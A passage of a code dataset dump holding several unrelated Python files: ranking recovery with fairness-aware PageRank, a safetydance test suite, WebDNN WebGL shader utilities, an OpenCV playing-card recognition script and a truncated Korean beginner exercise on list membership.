located in the path directory\n dir = os.getcwd()\n os.chdir(path)\n os.system('./pagerank.out -c sizes.txt > /dev/null') # run with muted stdout\n #os.system(f'./residual_optimization.out {phi} > /dev/null') # run with muted stdout\n os.chdir(dir)\n\n # read the finished file\n #result_path = Path(path,'out_pagerank_pagerank.txt')\n result_path = Path(path,'out_lfpr_p_pagerank.txt')\n #result_path = Path(path,'out_excess_sensitive_pagerank.txt')\n with open(result_path, 'r') as file:\n ranking = file.read().splitlines()\n ranking = [float(score) for score in ranking]\n\n return ranking\n\n\ndef randomRankRecovery(A: sp.spmatrix, seed: Union[int, None] = None):\n x, y = A.get_shape()\n rng = np.random.default_rng(seed=seed)\n return rng.random(x)\n\n\nclass RankRecovery:\n\n def __init__(self, G:FairPairGraph, class_attr='minority', weight_attr='weight', score_attr='score'):\n '''\n Initialize the ranking\n\n Parameters\n ----------\n - G: the FairPairGraph from which a ranking will be recovered\n - class_attr: name of the node attribute to use as a group label\n - weight_attr: name of the edge attribute for storing weights\n - score_attr: name of the node attribute for storing scores\n '''\n self.G = G\n self.class_attr = class_attr\n self.weight_attr = weight_attr\n self.score_attr = score_attr\n\n \n def apply(self, rank_using=rankCentrality, **kwargs) -> Tuple[dict, list]:\n '''\n Helper for applying a ranking function to a FairPairGraph.\n Preserves node names and calculates the ranking only if strongly connected.\n\n Parameters\n ----------\n - rank_using: a function that recovers a ranking (list) from an adjacency matrix\n OR 'fairPageRank', if Fairness-Aware PageRank should be applied\n - **kwargs: keyword arguments to be passed to the ranking function\n\n Returns\n -------\n - ranking: dict of nodes and their ranking results\n - other_nodes: list of all nodes NOT included in giant strongly connected component\n '''\n other_nodes = []\n ranking = None\n if nx.is_strongly_connected(self.G): # only apply ranking recovery if strongly connected\n if rank_using == 'fairPageRank':\n ranking = fairPageRank(self.G, **kwargs)\n ranking = dict(zip(self.G.nodes, ranking))\n else:\n adjacency = nx.linalg.graphmatrix.adjacency_matrix(self.G, weight=self.weight_attr)\n\n # The GNNRank implementation generally assumes i->j means \"i beats j\", while we mean the opposite\n adjacency = adjacency.transpose()\n \n ranking = rank_using(adjacency, **kwargs)\n ranking = [float(abs(score)) if isinstance(score, complex) else float(score) for score in ranking]\n ranking = dict(zip(self.G.nodes, ranking)) # nodes might have specific names, so we return a dict\n else:\n connected_nodes = max(nx.strongly_connected_components(self.G), key=len) # get the giant connected component\n other_nodes = [node for node in self.G.nodes if node not in connected_nodes]\n\n return ranking, other_nodes\n \n\n def _print_with_score(self, ranking:dict):\n\n # sort by ranking score\n ranking = {node: score for node, score in sorted(ranking.items(), key=lambda item: item[1], reverse=True)}\n\n # print with original score and group membership\n data = []\n for node, rank_score in ranking.items():\n data.append((node, self.G.nodes[node]['score'], rank_score))\n return pd.DataFrame(data, columns=['node', 'orig score', 'rank score'])\n","repo_name":"wanLo/fairpair","sub_path":"fairpair/rank_recovery.py","file_name":"rank_recovery.py","file_ext":"py","file_size_in_byte":5297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13805570025","text":"\"\"\"\nThis is the test for testing\nreferences to step_data and context_key.\n\nThese test cases will cover cases in which there need to be imports\nfrom other files.\n\"\"\"\nimport pytest\nfrom safetydance import step, step_data, script\nfrom references import structure, config, stepdataStruct\nimport pkg1.pkg2.deep_step_data\nimport references\n\ndict_to_unpack = step_data(dict)\nargs_to_unpack = step_data(list)\n\n\n@step\ndef add_data_structure():\n \"\"\"\n Below, I run tests that are configured to call functions\n that belong to the dict method. These modify the dict.\n \"\"\"\n structure.revenue += 20\n structure.books[\"Richard Feynmann\"] = \"The Lectures on Physics Vol I\"\n structure.people.append(\"Travis Oliphant\")\n\n\n@step\ndef add_revenue_with_fqn():\n \"\"\"\n This step is used to validate that qualified names for step_data work as expected.\n \"\"\"\n references.structure.revenue += 22\n references.HasStepData.a_step_data = \"It works!\"\n pkg1.pkg2.deep_step_data.deep_step_data = 42\n\n\n@step\ndef add_data_config():\n \"\"\"\n config is a dict. Let's test a couple dict\n methods to make sure things are working\n \"\"\"\n info = {\"RAM\": \"32GB\", \"Input\": \"Keyboard\", \"processors\": \"2\"}\n config.update(info)\n\n\n@step\ndef before_data_inject():\n # This is a test step\n # showing how tests can be within a step\n assert structure.revenue == 42\n assert len(structure.books) == 1\n assert len(structure.people) == 1\n\n\n@step\ndef after_data_inject():\n # This is the test suite for\n # tests after data has been added\n assert structure.revenue == 62\n assert structure.books[\"Richard Feynmann\"] == \"The Lectures on Physics Vol I\"\n assert structure.books[\"Douglas Adams\"] == \"The Hitchhiker's Guide to the Galaxy\"\n assert len(structure.books) == 2\n assert len(structure.people) == 2\n assert structure.people[0] == \"Arthur Dent\"\n assert config[\"OS\"] == \"nix\"\n assert config[\"RAM\"] == \"32GB\"\n\n\n@step\ndef delete_data():\n del structure.books[\"Richard Feynmann\"]\n structure.revenue = 42\n del structure.people[1]\n del config[\"Input\"]\n\n\n@step\ndef step_using_lambda():\n some_list = [1, 2, 3]\n result = list(map(lambda x: x + 1, some_list))\n assert [2, 3, 4] == result, f\"{result}\"\n\n\n@script\ndef test_references():\n # Initialize structures\n structure = stepdataStruct(\n 42, {\"Douglas Adams\": \"The Hitchhiker's Guide to the Galaxy\"}, [\"Arthur Dent\"]\n )\n config = {\"OS\": \"nix\"}\n # Run Prior Tests\n before_data_inject()\n # Update Data\n add_data_structure()\n add_data_config()\n # Test After Updating\n after_data_inject()\n # Delete Data\n delete_data()\n # Finish testing in method\n assert len(config) == 3\n assert len(structure.people) == 1\n assert structure.revenue == 42\n assert len(structure.books) == 1\n\n add_revenue_with_fqn()\n assert structure.revenue == 64\n assert references.HasStepData.a_step_data == \"It works!\"\n assert pkg1.pkg2.deep_step_data.deep_step_data == 42\n\n\naccumulator = step_data(int)\n\n\ndef func_with_keywords(**kwargs):\n result = 0\n for k, v in kwargs.items():\n result += v\n return result\n\n\ndef func_with_starred(*args):\n result = 0\n for v in args:\n result += v\n return result\n\n\n@step\ndef start_accumulator_with(value: int):\n accumulator = value\n\n\n@step\ndef increment_accumulator():\n accumulator = accumulator + 1\n\n\n@step\ndef accumulated_value_is(expected: int):\n assert accumulator == expected\n\n\n@script\ndef fest_repeated_calls():\n start_accumulator_with(1)\n accumulated_value_is(1)\n increment_accumulator()\n accumulated_value_is(2)\n increment_accumulator()\n accumulated_value_is(3)\n\n\n@step\ndef recursive_accumulator(depth: int):\n if depth > 0:\n increment_accumulator()\n recursive_accumulator(depth - 1)\n\n\nanother_step_was_called = step_data(bool)\n\n\n@step\ndef calls_another_step():\n another_step()\n\n\n@step\ndef another_step():\n another_step_was_called = True\n\n\n@script\ndef test_nested_step_calls():\n start_accumulator_with(0)\n recursive_accumulator(3)\n assert accumulator == 3\n\n another_step_was_called = False\n calls_another_step()\n assert another_step_was_called == True\n\n\n@step\ndef step_one():\n print(\"I ran\")\n\n\n@step\ndef step_two():\n step_one()\n\n\n@script\ndef the_script():\n step_one()\n step_two()\n\n\n@script\ndef test_unpacking():\n dict_to_unpack = {\"one\": 1, \"two\": 2, \"three\": 3}\n args_to_unpack = [1, 2, 3]\n assert 6 == func_with_keywords(**dict_to_unpack)\n assert 6 == func_with_starred(*args_to_unpack)\n\n\ndef test_another_test_of_nested_script_calls():\n \"\"\"This test proves that nested step calls are being properly handled within a\n script.\"\"\"\n the_script()\n\n\n@script\ndef test_use_of_lambda():\n step_using_lambda()\n\n\n@step\ndef step_with_return_value():\n return 42\n\n\n@script\ndef test_receiving_step_return_values():\n assert step_with_return_value() == 42\n","repo_name":"dcharbon/safetydance","sub_path":"tests/test_rewrite.py","file_name":"test_rewrite.py","file_ext":"py","file_size_in_byte":4958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35799394523","text":"from typing import List, Dict, Tuple, Set, Sequence, Union\n\nimport numpy as np\n\nfrom webdnn.backend.webgl.attributes.channel_mode import ChannelMode, ChannelModeEnum\nfrom webdnn.backend.webgl.attributes.texture_shape import TextureShape\nfrom webdnn.backend.webgl.kernel_code import Type, ExpressionNode, Expression, IntExpressionNode, FloatExpressionNode\nfrom webdnn.graph.axis import AxisKeyDict, Axis\nfrom webdnn.graph.order import Order\nfrom webdnn.graph.placeholder import Placeholder\nfrom webdnn.graph.variable import Variable\nfrom webdnn.util.misc import mul\n\n\ndef change_order(expression: Expression, in_order: Order, out_order: Order) -> ExpressionNode:\n assert in_order.check_same_axes(out_order), f\"\"\"\n\"in_order\" and \"out_order\" must have same axes:\n (in_order) = {in_order}\n (out_order) = {out_order}\n\"\"\"\n\n if in_order == out_order:\n return ExpressionNode(expression)\n\n else:\n return ExpressionNode([expression, f\".{''.join(['xyzw'[in_order.axes_dict[axis]] for axis in out_order.axes])}\"])\n\n\ndef get_output_position(output_variable: Variable):\n if ChannelMode.get(output_variable) == ChannelModeEnum.R:\n return convert_position(\"gl_FragCoord.yx\",\n texture_shape(output_variable)[:2],\n texture_stride(output_variable)[:2],\n output_variable.shape,\n output_variable.stride)\n\n elif ChannelMode.get(output_variable) == ChannelModeEnum.RGBA:\n return convert_position(\"vec3(gl_FragCoord.y, gl_FragCoord.x, 0)\",\n texture_shape(output_variable),\n texture_stride(output_variable),\n output_variable.shape,\n output_variable.stride)\n\n\ndef convert_position(expression: Expression,\n in_shape: Sequence[int], in_stride: Sequence[int],\n out_shape: Sequence[int], out_stride: Sequence[int], index_offset: int = 0):\n if Placeholder.check_resolved(mul(in_shape)) and mul(in_shape) < 1 << 20:\n return ExpressionNode([\n \"convert_position_fast(\",\n expression, \",\",\n ivec(in_stride), \", \",\n ivec(out_stride), \", \",\n ivec(out_shape), \", \",\n index_offset, \")\"\n ])\n\n else:\n return ExpressionNode([\n \"convert_position_i(\",\n expression, \",\",\n ivec(in_stride), \", \",\n ivec(out_stride), \", \",\n ivec(out_shape), \", \",\n index_offset, \")\"\n ])\n\n\ndef convert_coord(expression: Expression,\n in_shape: Sequence[int], in_stride: Sequence[int],\n out_shape: Sequence[int], out_stride: Sequence[int], index_offset: int = 0):\n if all(Placeholder.check_resolved(v) for v in out_shape):\n inv_out_shape = [np.double(1.0) / np.double(v) for v in out_shape]\n\n return ExpressionNode([\n f\"({Type.Vec.get_name(out_shape)}(\", convert_position(expression, in_shape, in_stride, out_shape, out_stride, index_offset),\n \")\",\n \" + 0.5) * \", vec(inv_out_shape)\n ])\n\n else:\n return ExpressionNode([\n f\"({Type.Vec.get_name(out_shape)}(\", convert_position(expression, in_shape, in_stride, out_shape, out_stride, index_offset),\n \")\",\n \" + 0.5) / \", vec(out_shape)\n ])\n\n\ndef texel_fetch(variable: Variable, expression: Expression):\n texture_shape_xy = texture_shape(variable)[0:2][::-1]\n texture_stride_xy = texture_stride(variable)[0:2][::-1]\n return ExpressionNode([\n \"texture2D(\",\n variable, \",\",\n convert_coord(expression, variable.shape, variable.stride, texture_shape_xy, texture_stride_xy), \")\"\n ])\n\n\ndef ivec(sequence: Sequence[Union[int, Placeholder]]):\n assert 2 <= len(sequence) <= 4\n return [IntExpressionNode(v) for v in sequence]\n\n\ndef ivec2(sequence: Sequence[int]):\n assert len(sequence) == 2\n return ivec(sequence)\n\n\ndef ivec3(sequence: Sequence[int]):\n assert len(sequence) == 3\n return ivec(sequence)\n\n\ndef ivec4(sequence: Sequence[int]):\n assert len(sequence) == 4\n return ivec(sequence)\n\n\ndef vec(sequence: Sequence[float]):\n assert 2 <= len(sequence) <= 4\n return [FloatExpressionNode(v) for v in sequence]\n\n\ndef vec2(sequence: Sequence[float]):\n assert len(sequence) == 2\n return vec(sequence)\n\n\ndef vec3(sequence: Sequence[float]):\n assert len(sequence) == 3\n return vec(sequence)\n\n\ndef vec4(sequence: Sequence[float]):\n assert len(sequence) == 4\n return vec(sequence)\n\n\ndef _mod_snippet(t1: str, t2: str, tr: str):\n return f\"{tr} mod({t1} x, {t2} p) {{ return x-(x/p)*p; }}\"\n\n\ndef _convert_position_fast_snippet(ndim1: int, ndim2: int):\n dot = '+'.join(f'p1[{i}]*s1[{i}]' for i in range(ndim1))\n return f\"\"\"\nivec{ndim2} convert_position_fast(ivec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2, int offset) {{\n return mod(({dot} + offset) / s2, d2);\n}}\n\nivec{ndim2} convert_position_fast(ivec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2) {{\n return convert_position_fast(p1, s1, s2, d2, 0);\n}}\n\nivec{ndim2} convert_position_fast(vec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2, int offset) {{\n return convert_position_fast(ivec{ndim1}(p1), s1, s2, d2, offset);\n}}\n\nivec{ndim2} convert_position_fast(vec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2) {{\n return convert_position_fast(ivec{ndim1}(p1), s1, s2, d2, 0);\n}}\n\"\"\"\n\n\ndef _convert_position_snippet(ndim1: int, ndim2: int):\n iteration_snippets = []\n for i in range(ndim1):\n iteration_snippets.append(f\"\"\"\n index += index_partial[{i}];\n m = index / s2;\n p2 += m;\n index -= m*s2;\n \"\"\")\n\n iteration_snippet = \"\\n\".join(iteration_snippets)\n\n return f\"\"\"\nivec{ndim2} convert_position_i(ivec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2, int index_offset) {{\n ivec{ndim1} index_partial = p1 * s1;\n ivec{ndim2} index = ivec{ndim2}(index_offset);\n ivec{ndim2} p2 = ivec{ndim2}(0);\n\n ivec{ndim2} m;\n {iteration_snippet}\n\n return p2-(p2/d2)*d2;\n}}\n\nivec{ndim2} convert_position_i(ivec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2) {{\n return convert_position_i(p1, s1, s2, d2, 0);\n}}\n\nivec{ndim2} convert_position_i(vec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2, int index_offset) {{\n return convert_position_i(ivec{ndim1}(p1), s1, s2, d2, index_offset);\n}}\n\nivec{ndim2} convert_position_i(vec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2) {{\n return convert_position_i(ivec{ndim1}(p1), s1, s2, d2, 0);\n}}\n\nivec{ndim2} convert_position_i(vec{ndim1} p1, vec{ndim1} s1, vec{ndim2} s2, vec{ndim2} d2, int index_offset) {{\n return convert_position_i(ivec{ndim1}(p1), ivec{ndim1}(s1), ivec{ndim2}(s2), ivec{ndim2}(d2), index_offset);\n}}\n\nivec{ndim2} convert_position_i(vec{ndim1} p1, vec{ndim1} s1, vec{ndim2} s2, vec{ndim2} d2) {{\n return convert_position_i(ivec{ndim1}(p1), ivec{ndim1}(s1), ivec{ndim2}(s2), ivec{ndim2}(d2), 0);\n}}\n\nvec{ndim2} convert_position(vec{ndim1} p1, vec{ndim1} s1, vec{ndim2} s2, vec{ndim2} d2, int index_offset) {{\n return vec{ndim2}(convert_position_i(ivec{ndim1}(p1), ivec{ndim1}(s1), ivec{ndim2}(s2), ivec{ndim2}(d2), index_offset)) + 0.5;\n}}\n\nvec{ndim2} convert_position(vec{ndim1} p1, vec{ndim1} s1, vec{ndim2} s2, vec{ndim2} d2) {{\n return convert_position(p1, s1, s2, d2, 0);\n}}\n\"\"\"\n\n\nFragmentShaderPreamble = f\"\"\"\nprecision highp float;\nprecision highp int;\nprecision highp sampler2D;\n\n{_mod_snippet(\"int\", \"int\", \"int\")}\n{_mod_snippet(\"int\", \"ivec2\", \"ivec2\")}\n{_mod_snippet(\"int\", \"ivec3\", \"ivec3\")}\n{_mod_snippet(\"int\", \"ivec4\", \"ivec4\")}\n{_mod_snippet(\"ivec2\", \"int\", \"ivec2\")}\n{_mod_snippet(\"ivec3\", \"int\", \"ivec3\")}\n{_mod_snippet(\"ivec4\", \"int\", \"ivec4\")}\n{_mod_snippet(\"ivec2\", \"ivec2\", \"ivec2\")}\n{_mod_snippet(\"ivec3\", \"ivec3\", \"ivec3\")}\n{_mod_snippet(\"ivec4\", \"ivec4\", \"ivec4\")}\n\n{_convert_position_fast_snippet(2, 2)}\n{_convert_position_fast_snippet(2, 3)}\n{_convert_position_fast_snippet(2, 4)}\n{_convert_position_fast_snippet(3, 2)}\n{_convert_position_fast_snippet(3, 3)}\n{_convert_position_fast_snippet(3, 4)}\n{_convert_position_fast_snippet(4, 2)}\n{_convert_position_fast_snippet(4, 3)}\n{_convert_position_fast_snippet(4, 4)}\n{_convert_position_snippet(2, 2)}\n{_convert_position_snippet(2, 3)}\n{_convert_position_snippet(2, 4)}\n{_convert_position_snippet(3, 2)}\n{_convert_position_snippet(3, 3)}\n{_convert_position_snippet(3, 4)}\n{_convert_position_snippet(4, 2)}\n{_convert_position_snippet(4, 3)}\n{_convert_position_snippet(4, 4)}\n\nvec2 var2tex(vec2 var_position, vec2 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n vec3 tex_pos = convert_position(var_position, var_stride, tex_stride, tex_shape);\n return vec2(tex_pos.y, tex_pos.x);\n}}\nvec2 var2tex(vec3 var_position, vec3 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n vec3 tex_pos = convert_position(var_position, var_stride, tex_stride, tex_shape);\n return vec2(tex_pos.y, tex_pos.x);\n}}\nvec2 var2tex(vec4 var_position, vec4 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n vec3 tex_pos = convert_position(var_position, var_stride, tex_stride, tex_shape);\n return vec2(tex_pos.y, tex_pos.x);\n}}\n\n\nvec2 var2tex_coord(vec2 var_position, vec2 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n return var2tex(var_position, var_stride, tex_stride, tex_shape) / tex_shape.yx;\n}}\nvec2 var2tex_coord(ivec2 var_position, vec2 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n return var2tex(vec2(var_position), var_stride, tex_stride, tex_shape) / tex_shape.yx;\n}}\nvec2 var2tex_coord(vec3 var_position, vec3 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n return var2tex(var_position, var_stride, tex_stride, tex_shape) / tex_shape.yx;\n}}\nvec2 var2tex_coord(ivec3 var_position, vec3 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n return var2tex(vec3(var_position), var_stride, tex_stride, tex_shape) / tex_shape.yx;\n}}\nvec2 var2tex_coord(vec4 var_position, vec4 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n return var2tex(var_position, var_stride, tex_stride, tex_shape) / tex_shape.yx;\n}}\nvec2 var2tex_coord(ivec4 var_position, vec4 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n return var2tex(vec4(var_position), var_stride, tex_stride, tex_shape) / tex_shape.yx;\n}}\n\n\nivec2 tex2var(vec2 tex_position, vec3 tex_stride, vec2 var_stride, vec2 var_shape, int ch) {{\n return convert_position_i(vec3(tex_position.y, tex_position.x, float(ch) + 0.5), tex_stride, var_stride, var_shape);\n}}\nivec3 tex2var(vec2 tex_position, vec3 tex_stride, vec3 var_stride, vec3 var_shape, int ch) {{\n return convert_position_i(vec3(tex_position.y, tex_position.x, float(ch) + 0.5), tex_stride, var_stride, var_shape);\n}}\nivec4 tex2var(vec2 tex_position, vec3 tex_stride, vec4 var_stride, vec4 var_shape, int ch) {{\n return convert_position_i(vec3(tex_position.y, tex_position.x, float(ch) + 0.5), tex_stride, var_stride, var_shape);\n}}\n\nivec2 tex2var(vec2 tex_position, vec3 tex_stride, vec2 var_stride, vec2 var_shape) {{\n return tex2var(tex_position, tex_stride, var_stride, var_shape, 0);\n}}\nivec3 tex2var(vec2 tex_position, vec3 tex_stride, vec3 var_stride, vec3 var_shape) {{\n return tex2var(tex_position, tex_stride, var_stride, var_shape, 0);\n}}\nivec4 tex2var(vec2 tex_position, vec3 tex_stride, vec4 var_stride, vec4 var_shape) {{\n return tex2var(tex_position, tex_stride, var_stride, var_shape, 0);\n}}\n\"\"\"\n\n\ndef simplify_orders(variables: List[Variable],\n keep_axes: List[Axis] = None) -> Tuple[Dict[Variable, Order], Dict[Variable, AxisKeyDict[int]]]:\n \"\"\"\n Simplify variable orders based on follow rules\n\n - Axis whose size is :code:`1` will be removed.\n\n - If axis :code:`A` and :code:`B` is adjacent in all variables which has axis :code:`A` and axis :code:`B`, :code:`A` and :code:`B` will\n be merged.\n - For example, :code:`OrderABC` and :code:`OrderCAB` can be simplified as :code:`OrderXC` and :code:`OrderCX`\n - In this case, the size of axis :code:`X` is calculated as :code:`(size of axis A) * (size of axis B)`\n\n ...code-block::text\n\n ex)\n x0.order=NHWC, simplify x0.order=X\n y.order=NHWC ------------> y.order=X\n\n ex)\n x0.order=C, simplify x0.order=C\n x1.order=NHWC ------------> x1.order=XC\n y.order=NHWC y.order=XC\n\n ex)\n x0.order=C, simplify x0.order=C\n x1.order=HW ------------> x1.order=X\n y.order=NHWC y.order=NXC\n\n Returns:\n (tuple of dicts) simplified orders and shape\n \"\"\"\n if keep_axes is None:\n keep_axes = []\n\n orders = {} # type: Dict[Variable, Order]\n shape_dicts = {} # type: Dict[Variable, AxisKeyDict[int]]\n\n # remove all axes whose size is `1`.\n for v in variables:\n new_axes = [a for a in v.order.axes if v.shape_dict[a] != 1 or a in keep_axes]\n orders[v] = Order(new_axes)\n shape_dicts[v] = AxisKeyDict(new_axes, [v.shape_dict[a] for a in new_axes])\n\n if len(new_axes) == 0 and v.size == 1:\n orders[v] = Order([Axis(None)])\n shape_dicts[v] = AxisKeyDict(orders[v].axes, [1])\n\n # list up all pair of axes and variables which have the corresponding axis\n var_dict = AxisKeyDict[Set[Variable]]()\n for v in variables:\n for axis in orders[v].axes:\n if axis in var_dict:\n var_dict[axis].add(v)\n else:\n var_dict[axis] = {v}\n\n # find pair of two axes which can be merged\n counter = 0\n flag_continue = True\n while flag_continue:\n flag_continue = False\n\n for axis1, vars1 in list(var_dict.items()):\n if axis1 in keep_axes:\n # This axis must be kept\n continue\n\n for axis2, vars2 in list(var_dict.items()):\n if axis2 in keep_axes:\n # This axis must be kept\n continue\n\n if axis1 == axis2:\n continue\n\n if vars1 != vars2 or any(orders[v].axes_dict[axis1] + 1 != orders[v].axes_dict[axis2] for v in vars1):\n # `axis1` and `axis2` must be adjacent.\n continue\n\n # merge `axis1` and `axis2` into `axis_new`\n\n axis_new = Axis(f\"X{counter}\")\n counter += 1\n\n for v in vars1:\n shape_dict = shape_dicts[v]\n shape_dict[axis_new] = shape_dict[axis1] * shape_dict[axis2]\n del shape_dict[axis1]\n del shape_dict[axis2]\n\n order = orders[v]\n orders[v] = Order(order.axes[:order.axes_dict[axis1]] + (axis_new,) + order.axes[order.axes_dict[axis2] + 1:])\n\n var_dict[axis_new] = vars1\n del var_dict[axis1]\n del var_dict[axis2]\n\n flag_continue = True\n break\n\n if flag_continue:\n break\n\n return orders, shape_dicts\n\n\ndef texture_shape(v: Variable):\n height, width = TextureShape.get(v)\n elements_per_pixel = ChannelMode.elements_per_pixel(v)\n width = (width + elements_per_pixel - 1) // elements_per_pixel\n return height, width, elements_per_pixel\n\n\ndef texture_stride(v: Variable):\n shape = texture_shape(v)\n return tuple(mul(shape[i + 1:]) for i in range(len(shape)))\n","repo_name":"LinXueyuanStdio/hash2face","sub_path":"webdnn/src/graph_transpiler/webdnn/backend/webgl/kernels/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":15695,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"15707779309","text":"#!/usr/bin/env python\nr'''\n----------------------------- Support Functions ----------------------------------\nContains support functions used by other scripts\n\nPlease not that this script uses \"Python 3\" and the following additional libaries\n\n matplotlib, imutils, numpy, scipy, sklearn, keras, Pillow, and tensorflow\n\n Most of the other scripts have been written by \"Chibuike Okpaluba\", please read LICENSE.txt for more information.\n\n Most importantly, the contents the \"vector_illustration_processing\" folder MUST NOT be distributed beyond the staff and students at Middlesex University as it contains some\n properitory code that is still being developed.\n\n Thank you for understanding :)\n\nFOR MORE INFORMATION\n\n Contact: co607@live.mdx.ac.uk\n Subject: MDX Cards Advanded Robotics Projects 2018\n\n'''\n\n\nfrom __future__ import division\n\nimport os,sys,inspect\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nsys.path.insert(0,currentdir)\nsys.path.insert(0,\"{}/vector_illustration_processing\".format(currentdir))\n\nimport pi_point\nimport pi_line\nimport pi_path\n\nfrom matplotlib import pyplot as plt\nfrom imutils import paths\nimport numpy as np\nimport random\nimport json\nimport math\nimport time\nimport cv2\n\nfrom prediction.guessing import Guessing_Cards\nfrom prediction.shallownet import ShallowNet_Cards\nfrom prediction.lenet import LeNet_Cards\nfrom prediction.minivggnet import MiniVGGNet_Cards\n\nfrom support_functions import *\n\ndef process_contours(contours, in_img, out_img, prediction_model=None):\n def _get_coutour_image(img, path, contour):\n width = path.rect_info.width\n height = path.rect_info.height\n\n im_h, im_w = img.shape[:2]\n mask = np.zeros((im_h, im_w))\n cv2.drawContours(mask, [contour], -1, 255, -1)\n\n padding = 10\n top_x = max(path.rect_info.top_left.x - padding, 0)\n bottom_x = min(path.rect_info.bottom_right.x + padding, im_w)\n\n top_y = max(path.rect_info.top_left.y - padding, 0)\n bottom_y = min(path.rect_info.bottom_right.y + padding, im_h)\n\n n_mask = mask[top_y:bottom_y, top_x:bottom_x]\n n_img = img[top_y:bottom_y, top_x:bottom_x]\n \n return n_img, n_mask\n\n in_img_w, in_img_h,_ = (0, 0, 0)\n\n if len(in_img.shape) == 3:\n in_img_w, in_img_h,_ = in_img.shape\n else:\n raise ValueError(\"The input image must be of type cv2::mat bgr\")\n\n contours_list = [contour.reshape((contour.shape[0], 2)).tolist() for contour in contours]\n paths_list = [pi_path.Path(raw_point_data=[pi_point.Point(x=point[0], y=point[1]) for point in contour_points], is_closed=True) for contour_points in contours_list]\n\n filtered_paths = []\n filtered_cnts = []\n labels = []\n probs = []\n\n min_allowed_area = (in_img_w * in_img_h) * (500.0 / 66240.0)\n paths_attributes = [(path, path.rect_info.area, path.rect_info.perimeter) for path in paths_list if path.rect_info.area > min_allowed_area]\n paths_list, area_list, perimeter_list = zip(*paths_attributes)\n\n for path in paths_list:\n rect_info = path.rect_info\n\n if path.ratio < 0.6: continue\n if rect_info.area > (in_img_w * in_img_h) * (7000.0 / 66240.0): continue\n \n cnt = path.get_as_contour()\n\n n_img, n_mask = _get_coutour_image(in_img, path, cnt)\n if prediction_model is not None:\n label, prob = prediction_model.predict(n_img)\n if prob < 0.9: continue\n\n labels.append(label)\n probs.append(prob)\n\n filtered_cnts.append(cnt)\n filtered_paths.append(path)\n \n def _constrain(x, mnx, mxx):\n return min(mxx, max(x, mnx))\n \n def determine_prediction(labels, probabilities):\n f = lambda a, b : [list(filter(lambda x: x[0] == i, sorted(list(zip(a, b)), key=lambda x: x[0]))) for i in list(set(a))]\n\n def _get_prediction(foo, n):\n label, preds = list(zip(*foo))\n label = label[0]\n preds = list(sorted(preds)[-n:])\n return label, sum(preds) / float(len(preds))\n\n data = f(labels, probabilities)\n n_data = []\n\n for d in data:\n r = _get_prediction(d, 3)\n n_data.append((r[0], r[1]))\n\n return list(sorted(n_data, key=lambda x : x[1], reverse=True))\n \n preds = determine_prediction(labels, probs)\n number_labels = [\"Ace\", \"Two\", \"Three\", \"Four\", \"Five\", \"Six\", \"Seven\", \"Eight\", \"Nine\", \"Ten\"]\n\n label = \"None\"\n number = \"None\"\n probability = 1.0\n\n if len(preds) > 0:\n label, probability = preds[0]\n label = label.capitalize()\n number = number_labels[_constrain(len(filtered_paths)-1, 0, len(number_labels)-1)]\n \n cv2.drawContours(out_img, filtered_cnts, -1, (0,255,0), 1)\n return out_img, [label, number, probability]\n\ndef process_image(image_path, prediction_model=None):\n frame = cv2.imread(image_path)\n processed_frame = frame.copy()\n\n gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n gray_frame = cv2.GaussianBlur(gray_frame, (5, 5), 0)\n\n gray_mean = int(np.mean(gray_frame.ravel()))\n ret, gray_th = cv2.threshold(gray_frame, gray_mean, 255, cv2.THRESH_BINARY)\n\n kernel = np.ones((3,3),np.uint8)\n gray_th = cv2.erode(gray_th, kernel, iterations=1)\n\n _, contours, _ = cv2.findContours(gray_th, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n return process_contours(contours, frame, processed_frame, prediction_model), gray_th\n\ndef combine_images(img1, img2, pad_width=10):\n if img1.shape != img2.shape:\n raise ValueError(\"The given images must have similar shapes\")\n\n im_h, im_w, _ = img1.shape\n\n pad_width = int(pad_width)\n n_im_w = int((im_w * 2) + pad_width)\n\n n_img = np.zeros((im_h, n_im_w, 3), dtype=np.uint8)\n\n n_img[:, :im_w, :] = img1\n n_img[:, (im_w + pad_width):, :] = img2\n\n return n_img\n","repo_name":"chibike/mdx_cards_recognition","sub_path":"workspace/scripts/support_functions.py","file_name":"support_functions.py","file_ext":"py","file_size_in_byte":6200,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"29699814146","text":"# 문제 : 리스트에 순서대로 '월', '화', '수', '목', '금'을 한번에 담아주세요. \n# '화'가 리스트 안에 들어있는지 알려주세요.\n\na = ['월', '화', '수', '목', '금']\n\nif '화' in a:\n print('Yes')\nelse:\n print('No')\n\n# in 연산자의 결과는 bool 타입이며 확인하고자 하는 데이터가 있는 경우 True, 없는 경우 False를 반환\n# not in 연산자의 경우 반대로 